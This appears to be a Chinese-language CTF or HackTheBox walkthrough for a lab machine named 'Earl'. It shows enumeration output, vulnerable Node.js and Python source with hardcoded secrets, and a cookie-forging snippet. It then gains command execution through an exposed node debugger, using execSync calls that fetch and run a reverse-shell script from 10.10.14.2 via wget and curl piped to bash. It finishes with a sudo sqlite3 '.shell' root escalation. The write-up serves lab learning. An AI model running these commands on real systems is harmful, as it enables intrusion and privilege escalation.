跳到主要内容

Earl

信息收集

Detected ss and lsof, executing related commands...
Port: 22, PID: 721
> Command: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Port: 3000, PID: 1519
> Command: /usr/bin/node app.js
Port: 8000, PID: 1529
> Command: /usr/bin/python3 server.py
Port: 9229, PID: 2353
> Command: /usr/bin/node --inspect-brk=9229 -h
Port: 1234, PID: 779
> Command: socat TCP-LISTEN:1234,reuseaddr,fork EXEC:node inspect -h,pty
Port: 53, PID: 565
> Command: /lib/systemd/systemd-resolved

## ———————————————————————————— ##

Nginx is not installed.

## ———————————————————————————— ##

Apache is not installed.

## ———————————————————————————— ##

Checking /etc/sudoers (active configurations only):
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
root ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo ALL=(ALL:ALL) ALL
duke ALL = (root) NOPASSWD: /usr/bin/sqlite3
———
Finding SUID files:
root ALL=(ALL:ALL) ALL
%admin ALL=(ALL) ALL
%sudo ALL=(ALL:ALL) ALL
duke ALL = (root) NOPASSWD: /usr/bin/sqlite3
———
Finding files with special capabilities:
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/ping = cap_net_raw+ep
———

Port 3000 Nodejs

/home/duke/node/app.js
const express = require("express");
const cookieParser = require('cookie-parser')
const crypto = require('crypto');
const db = require('better-sqlite3')('/opt/credentials.db', {});

const app = express();
const secret = '5b011d9e8a36fa05832f9c3032d10123';
app.use(cookieParser(secret));

let credentials = { };

const hash = (token) => crypto.createHash('md5').update(token).digest('hex');

const data = db.prepare('SELECT * FROM credentials').all();
for(let i = 0; i < data.length; i++) {
if(!credentials[data[i].user]) {
credentials[data[i].user] = {};
}
credentials[data[i].user][data[i].info] = data[i].password;
}

app.get('/', (req, res) => {
if (!req.signedCookies.user)
res.cookie('user', { admin: false }, { signed: true });

res.sendFile(__dirname + "/index.html");
});

app.get('/api/addCredentials', (req, res) => {
if(!req.signedCookies.user) {
res.json({"msg" : "Not logged in"});
return;
}
let { username, password, info } = req.query;
if (username && password && info) {
if(!credentials[username]) {
credentials[username] = {};
}
credentials[username][info] = password;
}
res.json({"msg" : "Credentials saved"});
});

app.get('/api/vault', (req, res) => {
let user = { isAdmin: false };
if(req.signedCookies.admin === true) {
user.passcode = "c00d2d9e92e77a00107454ea2439fe84";
user.isAdmin = true;
}

if (req.query.passcode && hash(req.query.passcode) === user.passcode) {
res.json(credentials);
} else {
res.json({"msg" : "Incorrect passcode"});
}

});

app.listen(3000, "0.0.0.0");

可能的攻击方式

const cookieParser = require('cookie-parser');
const express = require('express');
const app = express();
const secret = '20945';
app.use(cookieParser(secret));

const userCookie = { admin: true };
const signedCookie = 's:' + Buffer.from(JSON.stringify(userCookie)).toString('base64') + '.' + crypto.createHmac('sha256', secret).update(JSON.stringify(userCookie)).digest('base64');
console.log('Signed Cookie:', signedCookie);

Port 8000 Python

/home/duke/py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json
import sqlite3

conn = sqlite3.connect('/opt/credentials.db')
data = conn.execute("SELECT * FROM credentials")
passwords = data.fetchall()

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/passwords':
if self.client_address[0] != '127.0.0.1':
res = "Invalid remote client"
self.send_response(403)
self.end_headers()
self.wfile.write(res.encode())
return
else:
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(json.dumps(self.passwords).encode())
return
if self.path == '/addCredentials':
res = "Service Disabled"
self.send_response(403)
self.end_headers()
self.wfile.write(res.encode())
return
if self.path == '/':
res = "Password Manager (Deprecated)"
self.send_response(403)
self.end_headers()
self.wfile.write(res.encode())
return
else:
res = ('Path' + self.path + ' does not exist\n').format(site=self)
self.send_response(404)
self.send_header('content-type', 'text/html')
self.end_headers()
self.wfile.write(res.encode())
return

HTTPServer(('0.0.0.0', 8000), Handler).serve_forever()

限制了仅本地才可访问,估计是用来提权的

sqlite> .table
(remote) root@htb:/home/duke/py# sqlite3 /opt/credentials.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .table
credentials
sqlite> select * from credentials;
duke|work|f0f7f79a275a83bfe8769dfd81d40bb2
duke|Windows|pass123
sam|Facebook|Test123!

Port 1234 node inspect

可能通过 console 命令实现任意命令执行

debug> repl
Press Ctrl+C to leave debug repl
> require('child_process').execSync('whoami').toString()
require('child_process').execSync('cat /opt/flag.txt').toString()
require('child_process').execSync('wget 10.10.14.2/revshells-python3.sh').toString()
require('child_process').execSync('chmod +x revshells-python3.sh').toString()
require('child_process').execSync('bash ./revshells-python3.sh').toString()
require('child_process').execSync('curl 10.10.14.2/revshells-python3.sh | bash').toString()

img

提权

sudo /usr/bin/sqlite3 /dev/null '.shell /bin/bash'